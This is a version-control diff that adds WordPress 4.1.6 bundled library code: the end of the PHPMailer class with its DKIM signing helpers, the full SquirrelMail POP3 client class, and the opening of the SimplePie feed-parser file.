+    /**
+     * Set or reset instance properties.
+     *
+     * Usage Example:
+     * $page->set('X-Priority', '3');
+     *
+     * @access public
+     * @param string $name
+     * @param mixed $value
+     * NOTE: will not work with arrays, there are no arrays to set/reset
+     * @throws phpmailerException
+     * @return bool
+     * @todo Should this not be using __set() magic function?
+     */
+    public function set($name, $value = '')
+    {
+        try {
+            if (isset($this->$name)) {
+                $this->$name = $value;
+            } else {
+                throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
+            }
+        } catch (Exception $e) {
+            $this->setError($e->getMessage());
+            if ($e->getCode() == self::STOP_CRITICAL) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Strip newlines to prevent header injection.
+     * @access public
+     * @param string $str
+     * @return string
+     */
+    public function secureHeader($str)
+    {
+        return trim(str_replace(array("\r", "\n"), '', $str));
+    }
+
+    /**
+     * Normalize line breaks in a string.
+     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
+     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
+     * @param string $text
+     * @param string $breaktype What kind of line break to use, defaults to CRLF
+     * @return string
+     * @access public
+     * @static
+     */
+    public static function normalizeBreaks($text, $breaktype = "\r\n")
+    {
+        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
+    }
+
+
+    /**
+     * Set the private key file and password for S/MIME signing.
+     * @access public
+     * @param string $cert_filename
+     * @param string $key_filename
+     * @param string $key_pass Password for private key
+     */
+    public function sign($cert_filename, $key_filename, $key_pass)
+    {
+        $this->sign_cert_file = $cert_filename;
+        $this->sign_key_file = $key_filename;
+        $this->sign_key_pass = $key_pass;
+    }
+
+    /**
+     * Quoted-Printable-encode a DKIM header.
+     * @access public
+     * @param string $txt
+     * @return string
+     */
+    public function DKIM_QP($txt)
+    {
+        $line = '';
+        for ($i = 0; $i < strlen($txt); $i++) {
+            $ord = ord($txt[$i]);
+            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
+                $line .= $txt[$i];
+            } else {
+                $line .= "=" . sprintf("%02X", $ord);
+            }
+        }
+        return $line;
+    }
+
+    /**
+     * Generate a DKIM signature.
+     * @access public
+     * @param string $s Header
+     * @throws phpmailerException
+     * @return string
+     */
+    public function DKIM_Sign($s)
+    {
+        if (!defined('PKCS7_TEXT')) {
+            if ($this->exceptions) {
+                throw new phpmailerException($this->lang("signing") . ' OpenSSL extension missing.');
+            }
+            return '';
+        }
+        $privKeyStr = file_get_contents($this->DKIM_private);
+        if ($this->DKIM_passphrase != '') {
+            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
+        } else {
+            $privKey = $privKeyStr;
+        }
+        if (openssl_sign($s, $signature, $privKey)) {
+            return base64_encode($signature);
+        }
+        return '';
+    }
+
+    /**
+     * Generate a DKIM canonicalization header.
+     * @access public
+     * @param string $s Header
+     * @return string
+     */
+    public function DKIM_HeaderC($s)
+    {
+        $s = preg_replace("/\r\n\s+/", " ", $s);
+        $lines = explode("\r\n", $s);
+        foreach ($lines as $key => $line) {
+            list($heading, $value) = explode(":", $line, 2);
+            $heading = strtolower($heading);
+            $value = preg_replace("/\s+/", " ", $value); // Compress useless spaces
+            $lines[$key] = $heading . ":" . trim($value); // Don't forget to remove WSP around the value
+        }
+        $s = implode("\r\n", $lines);
+        return $s;
+    }
+
+    /**
+     * Generate a DKIM canonicalization body.
+     * @access public
+     * @param string $body Message Body
+     * @return string
+     */
+    public function DKIM_BodyC($body)
+    {
+        if ($body == '') {
+            return "\r\n";
+        }
+        // stabilize line endings
+        $body = str_replace("\r\n", "\n", $body);
+        $body = str_replace("\n", "\r\n", $body);
+        // END stabilize line endings
+        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
+            $body = substr($body, 0, strlen($body) - 2);
+        }
+        return $body;
+    }
+
+    /**
+     * Create the DKIM header and body in a new message header.
+     * @access public
+     * @param string $headers_line Header lines
+     * @param string $subject Subject
+     * @param string $body Body
+     * @return string
+     */
+    public function DKIM_Add($headers_line, $subject, $body)
+    {
+        $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
+        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
+        $DKIMquery = 'dns/txt'; // Query method
+        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
+        $subject_header = "Subject: $subject";
+        $headers = explode($this->LE, $headers_line);
+        $from_header = '';
+        $to_header = '';
+        $current = '';
+        foreach ($headers as $header) {
+            if (strpos($header, 'From:') === 0) {
+                $from_header = $header;
+                $current = 'from_header';
+            } elseif (strpos($header, 'To:') === 0) {
+                $to_header = $header;
+                $current = 'to_header';
+            } else {
+                if ($current && strpos($header, ' =?') === 0) {
+                    $current .= $header;
+                } else {
+                    $current = '';
+                }
+            }
+        }
+        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
+        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
+        $subject = str_replace(
+            '|',
+            '=7C',
+            $this->DKIM_QP($subject_header)
+        ); // Copied header fields (dkim-quoted-printable)
+        $body = $this->DKIM_BodyC($body);
+        $DKIMlen = strlen($body); // Length of body
+        $DKIMb64 = base64_encode(pack("H*", sha1($body))); // Base64 of packed binary SHA-1 hash of body
+        $ident = ($this->DKIM_identity == '') ? '' : " i=" . $this->DKIM_identity . ";";
+        $dkimhdrs = "DKIM-Signature: v=1; a=" .
+            $DKIMsignatureType . "; q=" .
+            $DKIMquery . "; l=" .
+            $DKIMlen . "; s=" .
+            $this->DKIM_selector .
+            ";\r\n" .
+            "\tt=" . $DKIMtime . "; c=" . $DKIMcanonicalization . ";\r\n" .
+            "\th=From:To:Subject;\r\n" .
+            "\td=" . $this->DKIM_domain . ";" . $ident . "\r\n" .
+            "\tz=$from\r\n" .
+            "\t|$to\r\n" .
+            "\t|$subject;\r\n" .
+            "\tbh=" . $DKIMb64 . ";\r\n" .
+            "\tb=";
+        $toSign = $this->DKIM_HeaderC(
+            $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
+        );
+        $signed = $this->DKIM_Sign($toSign);
+        return $dkimhdrs . $signed . "\r\n";
+    }
+
+    /**
+     * Perform a callback.
+     * @param bool $isSent
+     * @param string $to
+     * @param string $cc
+     * @param string $bcc
+     * @param string $subject
+     * @param string $body
+     * @param string $from
+     */
+    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from = null)
+    {
+        if (!empty($this->action_function) && is_callable($this->action_function)) {
+            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
+            call_user_func_array($this->action_function, $params);
+        }
+    }
+}
+
+/**
+ * PHPMailer exception handler
+ * @package PHPMailer
+ */
+class phpmailerException extends Exception
+{
+    /**
+     * Prettify error message output
+     * @return string
+     */
+    public function errorMessage()
+    {
+        $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
+        return $errorMsg;
+    }
+}
Index: /tags/4.1.6/src/wp-includes/class-pop3.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-pop3.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-pop3.php	(revision 33402)
@@ -0,0 +1,652 @@
+<?php
+/**
+ * mail_fetch/setup.php
+ *
+ * Copyright (c) 1999-2011 CDI (cdi@thewebmasters.net) All Rights Reserved
+ * Modified by Philippe Mingo 2001-2009 mingo@rotedic.com
+ * An RFC 1939 compliant wrapper class for the POP3 protocol.
+ *
+ * Licensed under the GNU GPL. For full terms see the file COPYING.
+ *
+ * POP3 class
+ *
+ * @copyright 1999-2011 The SquirrelMail Project Team
+ * @license http://opensource.org/licenses/gpl-license.php GNU Public License
+ * @package plugins
+ * @subpackage mail_fetch
+ */
+
+class POP3 {
+    var $ERROR      = '';       //  Error string.
+
+    var $TIMEOUT    = 60;       //  Default timeout before giving up on a
+                                //  network operation.
+
+    var $COUNT      = -1;       //  Mailbox msg count
+
+    var $BUFFER     = 512;      //  Socket buffer for socket fgets() calls.
+                                //  Per RFC 1939 the returned line a POP3
+                                //  server can send is 512 bytes.
+
+    var $FP         = '';       //  The connection to the server's
+                                //  file descriptor
+
+    var $MAILSERVER = '';       // Set this to hard code the server name
+
+    var $DEBUG      = FALSE;    // set to true to echo pop3
+                                // commands and responses to error_log
+                                // this WILL log passwords!
+
+    var $BANNER     = '';       //  Holds the banner returned by the
+                                //  pop server - used for apop()
+
+    var $ALLOWAPOP  = FALSE;    //  Allow or disallow apop()
+                                //  This must be set to true
+                                //  manually
+
+    function POP3 ( $server = '', $timeout = '' ) {
+        settype($this->BUFFER,"integer");
+        if( !empty($server) ) {
+            // Do not allow programs to alter MAILSERVER
+            // if it is already specified. They can get around
+            // this if they -really- want to, so don't count on it.
+            if(empty($this->MAILSERVER))
+                $this->MAILSERVER = $server;
+        }
+        if(!empty($timeout)) {
+            settype($timeout,"integer");
+            $this->TIMEOUT = $timeout;
+            if (!ini_get('safe_mode'))
+                set_time_limit($timeout);
+        }
+        return true;
+    }
+
+    function update_timer () {
+        if (!ini_get('safe_mode'))
+            set_time_limit($this->TIMEOUT);
+        return true;
+    }
+
+    function connect ($server, $port = 110)  {
+        //  Opens a socket to the specified server. Unless overridden,
+        //  port defaults to 110. Returns true on success, false on fail
+
+        // If MAILSERVER is set, override $server with it's value
+
+    if (!isset($port) || !$port) {$port = 110;}
+        if(!empty($this->MAILSERVER))
+            $server = $this->MAILSERVER;
+
+        if(empty($server)){
+            $this->ERROR = "POP3 connect: " . _("No server specified");
+            unset($this->FP);
+            return false;
+        }
+
+        $fp = @fsockopen("$server", $port, $errno, $errstr);
+
+        if(!$fp) {
+            $this->ERROR = "POP3 connect: " . _("Error ") . "[$errno] [$errstr]";
+            unset($this->FP);
+            return false;
+        }
+
+        socket_set_blocking($fp,-1);
+        $this->update_timer();
+        $reply = fgets($fp,$this->BUFFER);
+        $reply = $this->strip_clf($reply);
+        if($this->DEBUG)
+            error_log("POP3 SEND [connect: $server] GOT [$reply]",0);
+        if(!$this->is_ok($reply)) {
+            $this->ERROR = "POP3 connect: " . _("Error ") . "[$reply]";
+            unset($this->FP);
+            return false;
+        }
+        $this->FP = $fp;
+        $this->BANNER = $this->parse_banner($reply);
+        return true;
+    }
+
+    function user ($user = "") {
+        // Sends the USER command, returns true or false
+
+        if( empty($user) ) {
+            $this->ERROR = "POP3 user: " . _("no login ID submitted");
+            return false;
+        } elseif(!isset($this->FP)) {
+            $this->ERROR = "POP3 user: " . _("connection not established");
+            return false;
+        } else {
+            $reply = $this->send_cmd("USER $user");
+            if(!$this->is_ok($reply)) {
+                $this->ERROR = "POP3 user: " . _("Error ") . "[$reply]";
+                return false;
+            } else
+                return true;
+        }
+    }
+
+    function pass ($pass = "")     {
+        // Sends the PASS command, returns # of msgs in mailbox,
+        // returns false (undef) on Auth failure
+
+        if(empty($pass)) {
+            $this->ERROR = "POP3 pass: " . _("No password submitted");
+            return false;
+        } elseif(!isset($this->FP)) {
+            $this->ERROR = "POP3 pass: " . _("connection not established");
+            return false;
+        } else {
+            $reply = $this->send_cmd("PASS $pass");
+            if(!$this->is_ok($reply)) {
+                $this->ERROR = "POP3 pass: " . _("Authentication failed") . " [$reply]";
+                $this->quit();
+                return false;
+            } else {
+                //  Auth successful.
+                $count = $this->last("count");
+                $this->COUNT = $count;
+                return $count;
+            }
+        }
+    }
+
+    function apop ($login,$pass) {
+        //  Attempts an APOP login. If this fails, it'll
+        //  try a standard login. YOUR SERVER MUST SUPPORT
+        //  THE USE OF THE APOP COMMAND!
+        //  (apop is optional per rfc1939)
+
+        if(!isset($this->FP)) {
+            $this->ERROR = "POP3 apop: " . _("No connection to server");
+            return false;
+        } elseif(!$this->ALLOWAPOP) {
+            $retVal = $this->login($login,$pass);
+            return $retVal;
+        } elseif(empty($login)) {
+            $this->ERROR = "POP3 apop: " . _("No login ID submitted");
+            return false;
+        } elseif(empty($pass)) {
+            $this->ERROR = "POP3 apop: " . _("No password submitted");
+            return false;
+        } else {
+            $banner = $this->BANNER;
+            if( (!$banner) or (empty($banner)) ) {
+                $this->ERROR = "POP3 apop: " . _("No server banner") . ' - ' . _("abort");
+                $retVal = $this->login($login,$pass);
+                return $retVal;
+            } else {
+                $AuthString = $banner;
+                $AuthString .= $pass;
+                $APOPString = md5($AuthString);
+                $cmd = "APOP $login $APOPString";
+                $reply = $this->send_cmd($cmd);
+                if(!$this->is_ok($reply)) {
+                    $this->ERROR = "POP3 apop: " . _("apop authentication failed") . ' - ' . _("abort");
+                    $retVal = $this->login($login,$pass);
+                    return $retVal;
+                } else {
+                    //  Auth successful.
+                    $count = $this->last("count");
+                    $this->COUNT = $count;
+                    return $count;
+                }
+            }
+        }
+    }
+
+    function login ($login = "", $pass = "") {
+        // Sends both user and pass. Returns # of msgs in mailbox or
+        // false on failure (or -1, if the error occurs while getting
+        // the number of messages.)
+
+        if( !isset($this->FP) ) {
+            $this->ERROR = "POP3 login: " . _("No connection to server");
+            return false;
+        } else {
+            $fp = $this->FP;
+            if( !$this->user( $login ) ) {
+                //  Preserve the error generated by user()
+                return false;
+            } else {
+                $count = $this->pass($pass);
+                if( (!$count) || ($count == -1) ) {
+                    //  Preserve the error generated by last() and pass()
+                    return false;
+                } else
+                    return $count;
+            }
+        }
+    }
+
+    function top ($msgNum, $numLines = "0") {
+        //  Gets the header and first $numLines of the msg body
+        //  returns data in an array with each returned line being
+        //  an array element. If $numLines is empty, returns
+        //  only the header information, and none of the body.
+
+        if(!isset($this->FP)) {
+            $this->ERROR = "POP3 top: " . _("No connection to server");
+            return false;
+        }
+        $this->update_timer();
+
+        $fp = $this->FP;
+        $buffer = $this->BUFFER;
+        $cmd = "TOP $msgNum $numLines";
+        fwrite($fp, "TOP $msgNum $numLines\r\n");
+        $reply = fgets($fp, $buffer);
+        $reply = $this->strip_clf($reply);
+        if($this->DEBUG) {
+            @error_log("POP3 SEND [$cmd] GOT [$reply]",0);
+        }
+        if(!$this->is_ok($reply))
+        {
+            $this->ERROR = "POP3 top: " . _("Error ") . "[$reply]";
+            return false;
+        }
+
+        $count = 0;
+        $MsgArray = array();
+
+        $line = fgets($fp,$buffer);
+        while ( !preg_match('/^\.\r\n/',$line))
+        {
+            $MsgArray[$count] = $line;
+            $count++;
+            $line = fgets($fp,$buffer);
+            if(empty($line))    { break; }
+        }
+
+        return $MsgArray;
+    }
+
+    function pop_list ($msgNum = "") {
+        //  If called with an argument, returns that msgs' size in octets
+        //  No argument returns an associative array of undeleted
+        //  msg numbers and their sizes in octets
+
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 pop_list: " . _("No connection to server");
+            return false;
+        }
+        $fp = $this->FP;
+        $Total = $this->COUNT;
+        if( (!$Total) or ($Total == -1) )
+        {
+            return false;
+        }
+        if($Total == 0)
+        {
+            return array("0","0");
+            // return -1;   // mailbox empty
+        }
+
+        $this->update_timer();
+
+        if(!empty($msgNum))
+        {
+            $cmd = "LIST $msgNum";
+            fwrite($fp,"$cmd\r\n");
+            $reply = fgets($fp,$this->BUFFER);
+            $reply = $this->strip_clf($reply);
+            if($this->DEBUG) {
+                @error_log("POP3 SEND [$cmd] GOT [$reply]",0);
+            }
+            if(!$this->is_ok($reply))
+            {
+                $this->ERROR = "POP3 pop_list: " . _("Error ") . "[$reply]";
+                return false;
+            }
+            list($junk,$num,$size) = preg_split('/\s+/',$reply);
+            return $size;
+        }
+        $cmd = "LIST";
+        $reply = $this->send_cmd($cmd);
+        if(!$this->is_ok($reply))
+        {
+            $reply = $this->strip_clf($reply);
+            $this->ERROR = "POP3 pop_list: " . _("Error ") .  "[$reply]";
+            return false;
+        }
+        $MsgArray = array();
+        $MsgArray[0] = $Total;
+        for($msgC=1;$msgC <= $Total; $msgC++)
+        {
+            if($msgC > $Total) { break; }
+            $line = fgets($fp,$this->BUFFER);
+            $line = $this->strip_clf($line);
+            if(strpos($line, '.') === 0)
+            {
+                $this->ERROR = "POP3 pop_list: " . _("Premature end of list");
+                return false;
+            }
+            list($thisMsg,$msgSize) = preg_split('/\s+/',$line);
+            settype($thisMsg,"integer");
+            if($thisMsg != $msgC)
+            {
+                $MsgArray[$msgC] = "deleted";
+            }
+            else
+            {
+                $MsgArray[$msgC] = $msgSize;
+            }
+        }
+        return $MsgArray;
+    }
+
+    function get ($msgNum) {
+        //  Retrieve the specified msg number. Returns an array
+        //  where each line of the msg is an array element.
+
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 get: " . _("No connection to server");
+            return false;
+        }
+
+        $this->update_timer();
+
+        $fp = $this->FP;
+        $buffer = $this->BUFFER;
+        $cmd = "RETR $msgNum";
+        $reply = $this->send_cmd($cmd);
+
+        if(!$this->is_ok($reply))
+        {
+            $this->ERROR = "POP3 get: " . _("Error ") . "[$reply]";
+            return false;
+        }
+
+        $count = 0;
+        $MsgArray = array();
+
+        $line = fgets($fp,$buffer);
+        while ( !preg_match('/^\.\r\n/',$line))
+        {
+            if ( $line{0} == '.' ) { $line = substr($line,1); }
+            $MsgArray[$count] = $line;
+            $count++;
+            $line = fgets($fp,$buffer);
+            if(empty($line))    { break; }
+        }
+        return $MsgArray;
+    }
+
+    function last ( $type = "count" ) {
+        //  Returns the highest msg number in the mailbox.
+        //  returns -1 on error, 0+ on success, if type != count
+        //  results in a popstat() call (2 element array returned)
+
+        $last = -1;
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 last: " . _("No connection to server");
+            return $last;
+        }
+
+        $reply = $this->send_cmd("STAT");
+        if(!$this->is_ok($reply))
+        {
+            $this->ERROR = "POP3 last: " . _("Error ") . "[$reply]";
+            return $last;
+        }
+
+        $Vars = preg_split('/\s+/',$reply);
+        $count = $Vars[1];
+        $size = $Vars[2];
+        settype($count,"integer");
+        settype($size,"integer");
+        if($type != "count")
+        {
+            return array($count,$size);
+        }
+        return $count;
+    }
+
+    function reset () {
+        //  Resets the status of the remote server. This includes
+        //  resetting the status of ALL msgs to not be deleted.
+        //  This method automatically closes the connection to the server.
+
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 reset: " . _("No connection to server");
+            return false;
+        }
+        $reply = $this->send_cmd("RSET");
+        if(!$this->is_ok($reply))
+        {
+            //  The POP3 RSET command -never- gives a -ERR
+            //  response - if it ever does, something truely
+            //  wild is going on.
+
+            $this->ERROR = "POP3 reset: " . _("Error ") . "[$reply]";
+            @error_log("POP3 reset: ERROR [$reply]",0);
+        }
+        $this->quit();
+        return true;
+    }
+
+    function send_cmd ( $cmd = "" )
+    {
+        //  Sends a user defined command string to the
+        //  POP server and returns the results. Useful for
+        //  non-compliant or custom POP servers.
+        //  Do NOT includ the \r\n as part of your command
+        //  string - it will be appended automatically.
+
+        //  The return value is a standard fgets() call, which
+        //  will read up to $this->BUFFER bytes of data, until it
+        //  encounters a new line, or EOF, whichever happens first.
+
+        //  This method works best if $cmd responds with only
+        //  one line of data.
+
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 send_cmd: " . _("No connection to server");
+            return false;
+        }
+
+        if(empty($cmd))
+        {
+            $this->ERROR = "POP3 send_cmd: " . _("Empty command string");
+            return "";
+        }
+
+        $fp = $this->FP;
+        $buffer = $this->BUFFER;
+        $this->update_timer();
+        fwrite($fp,"$cmd\r\n");
+        $reply = fgets($fp,$buffer);
+        $reply = $this->strip_clf($reply);
+        if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); }
+        return $reply;
+    }
+
+    function quit() {
+        //  Closes the connection to the POP3 server, deleting
+        //  any msgs marked as deleted.
+
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 quit: " . _("connection does not exist");
+            return false;
+        }
+        $fp = $this->FP;
+        $cmd = "QUIT";
+        fwrite($fp,"$cmd\r\n");
+        $reply = fgets($fp,$this->BUFFER);
+        $reply = $this->strip_clf($reply);
+        if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); }
+        fclose($fp);
+        unset($this->FP);
+        return true;
+    }
+
+    function popstat () {
+        //  Returns an array of 2 elements. The number of undeleted
+        //  msgs in the mailbox, and the size of the mbox in octets.
+
+        $PopArray = $this->last("array");
+
+        if($PopArray == -1) { return false; }
+
+        if( (!$PopArray) or (empty($PopArray)) )
+        {
+            return false;
+        }
+        return $PopArray;
+    }
+
+    function uidl ($msgNum = "")
+    {
+        //  Returns the UIDL of the msg specified. If called with
+        //  no arguments, returns an associative array where each
+        //  undeleted msg num is a key, and the msg's uidl is the element
+        //  Array element 0 will contain the total number of msgs
+
+        if(!isset($this->FP)) {
+            $this->ERROR = "POP3 uidl: " . _("No connection to server");
+            return false;
+        }
+
+        $fp = $this->FP;
+        $buffer = $this->BUFFER;
+
+        if(!empty($msgNum)) {
+            $cmd = "UIDL $msgNum";
+            $reply = $this->send_cmd($cmd);
+            if(!$this->is_ok($reply))
+            {
+                $this->ERROR = "POP3 uidl: " . _("Error ") . "[$reply]";
+                return false;
+            }
+            list ($ok,$num,$myUidl) = preg_split('/\s+/',$reply);
+            return $myUidl;
+        } else {
+            $this->update_timer();
+
+            $UIDLArray = array();
+            $Total = $this->COUNT;
+            $UIDLArray[0] = $Total;
+
+            if ($Total < 1)
+            {
+                return $UIDLArray;
+            }
+            $cmd = "UIDL";
+            fwrite($fp, "UIDL\r\n");
+            $reply = fgets($fp, $buffer);
+            $reply = $this->strip_clf($reply);
+            if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); }
+            if(!$this->is_ok($reply))
+            {
+                $this->ERROR = "POP3 uidl: " . _("Error ") . "[$reply]";
+                return false;
+            }
+
+            $line = "";
+            $count = 1;
+            $line = fgets($fp,$buffer);
+            while ( !preg_match('/^\.\r\n/',$line)) {
+                list ($msg,$msgUidl) = preg_split('/\s+/',$line);
+                $msgUidl = $this->strip_clf($msgUidl);
+                if($count == $msg) {
+                    $UIDLArray[$msg] = $msgUidl;
+                }
+                else
+                {
+                    $UIDLArray[$count] = 'deleted';
+                }
+                $count++;
+                $line = fgets($fp,$buffer);
+            }
+        }
+        return $UIDLArray;
+    }
+
+    function delete ($msgNum = "") {
+        //  Flags a specified msg as deleted. The msg will not
+        //  be deleted until a quit() method is called.
+
+        if(!isset($this->FP))
+        {
+            $this->ERROR = "POP3 delete: " . _("No connection to server");
+            return false;
+        }
+        if(empty($msgNum))
+        {
+            $this->ERROR = "POP3 delete: " . _("No msg number submitted");
+            return false;
+        }
+        $reply = $this->send_cmd("DELE $msgNum");
+        if(!$this->is_ok($reply))
+        {
+            $this->ERROR = "POP3 delete: " . _("Command failed ") . "[$reply]";
+            return false;
+        }
+        return true;
+    }
+
+    //  *********************************************************
+
+    //  The following methods are internal to the class.
+
+    function is_ok ($cmd = "") {
+        //  Return true or false on +OK or -ERR
+
+        if( empty($cmd) )
+            return false;
+        else
+            return( stripos($cmd, '+OK') !== false );
+    }
+
+    function strip_clf ($text = "") {
+        // Strips \r\n from server responses
+
+        if(empty($text))
+            return $text;
+        else {
+            $stripped = str_replace(array("\r","\n"),'',$text);
+            return $stripped;
+        }
+    }
+
+    function parse_banner ( $server_text ) {
+        $outside = true;
+        $banner = "";
+        $length = strlen($server_text);
+        for($count =0; $count < $length; $count++)
+        {
+            $digit = substr($server_text,$count,1);
+            if(!empty($digit))             {
+                if( (!$outside) && ($digit != '<') && ($digit != '>') )
+                {
+                    $banner .= $digit;
+                }
+                if ($digit == '<')
+                {
+                    $outside = false;
+                }
+                if($digit == '>')
+                {
+                    $outside = true;
+                }
+            }
+        }
+        $banner = $this->strip_clf($banner);    // Just in case
+        return "<$banner>";
+    }
+
+}   // End class
+
+// For php4 compatibility
+if (!function_exists("stripos")) {
+    function stripos($haystack, $needle){
+        return strpos($haystack, stristr( $haystack, $needle ));
+    }
+}
Index: /tags/4.1.6/src/wp-includes/class-simplepie.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-simplepie.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-simplepie.php	(revision 33402)
@@ -0,0 +1,3119 @@
+<?php
+if ( ! class_exists( 'SimplePie' ) ) :
+
+// Load classes we will need.
+require ABSPATH . WPINC . '/SimplePie/Misc.php';
+require ABSPATH . WPINC . '/SimplePie/Cache.php';
+require ABSPATH . WPINC . '/SimplePie/File.php';
+require ABSPATH . WPINC . '/SimplePie/Sanitize.php';
+require ABSPATH . WPINC . '/SimplePie/Registry.php';
+require ABSPATH . WPINC . '/SimplePie/IRI.php';
+require ABSPATH . WPINC . '/SimplePie/Locator.php';
+require ABSPATH . WPINC . '/SimplePie/Content/Type/Sniffer.php';
+require ABSPATH . WPINC . '/SimplePie/XML/Declaration/Parser.php';
+require ABSPATH . WPINC . '/SimplePie/Parser.php';
+require ABSPATH . WPINC . '/SimplePie/Item.php';
+require ABSPATH . WPINC . '/SimplePie/Parse/Date.php';
+require ABSPATH . WPINC . '/SimplePie/Author.php';
+
+/**
+ * WordPress autoloader for SimplePie.
+ *
+ * @since 3.5.0
+ */
+function wp_simplepie_autoload( $class ) {
+	if ( 0 !== strpos( $class, 'SimplePie_' ) )
+		return;
+
+	$file = ABSPATH . WPINC . '/' . str_replace( '_', '/', $class ) . '.php';
+	include( $file );
+}
+
+if ( function_exists( 'spl_autoload_register' ) ) {
+	/**
+	 * We autoload classes we may not need.
+	 *
+	 * If SPL is disabled, we load all of SimplePie manually.
+	 *
+	 * Core.php is not loaded manually, because SimplePie_Core (a deprecated class)
+	 * was never included in WordPress core.
+	 */
+	spl_autoload_register( 'wp_simplepie_autoload' );
+} else {
+	require ABSPATH . WPINC . '/SimplePie/Cache/Base.php';
+	require ABSPATH . WPINC . '/SimplePie/Cache/DB.php';
+	require ABSPATH . WPINC . '/SimplePie/Cache/File.php';
+	require ABSPATH . WPINC . '/SimplePie/Cache/Memcache.php';
+	require ABSPATH . WPINC . '/SimplePie/Cache/MySQL.php';
+	require ABSPATH . WPINC . '/SimplePie/Caption.php';
+	require ABSPATH . WPINC . '/SimplePie/Category.php';
+	require ABSPATH . WPINC . '/SimplePie/Copyright.php';
+	require ABSPATH . WPINC . '/SimplePie/Credit.php';
+	require ABSPATH . WPINC . '/SimplePie/Decode/HTML/Entities.php';
+	require ABSPATH . WPINC . '/SimplePie/Enclosure.php';
+	require ABSPATH . WPINC . '/SimplePie/gzdecode.php';
+	require ABSPATH . WPINC . '/SimplePie/HTTP/Parser.php';
+	require ABSPATH . WPINC . '/SimplePie/Net/IPv6.php';
+	require ABSPATH . WPINC . '/SimplePie/Rating.php';
+	require ABSPATH . WPINC . '/SimplePie/Restriction.php';
+	require ABSPATH . WPINC . '/SimplePie/Source.php';
+}
+
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * SimplePie Name
+ */
+define('SIMPLEPIE_NAME', 'SimplePie');
+
+/**
+ * SimplePie Version
+ */
+define('SIMPLEPIE_VERSION', '1.3.1');
+
+/**
+ * SimplePie Build
+ * @todo Hardcode for release (there's no need to have to call SimplePie_Misc::get_build() only every load of simplepie.inc)
+ */
+define('SIMPLEPIE_BUILD', gmdate('YmdHis', SimplePie_Misc::get_build()));
+
+/**
+ * SimplePie Website URL
+ */
+define('SIMPLEPIE_URL', 'http://simplepie.org');
+
+/**
+ * SimplePie Useragent
+ * @see SimplePie::set_useragent()
+ */
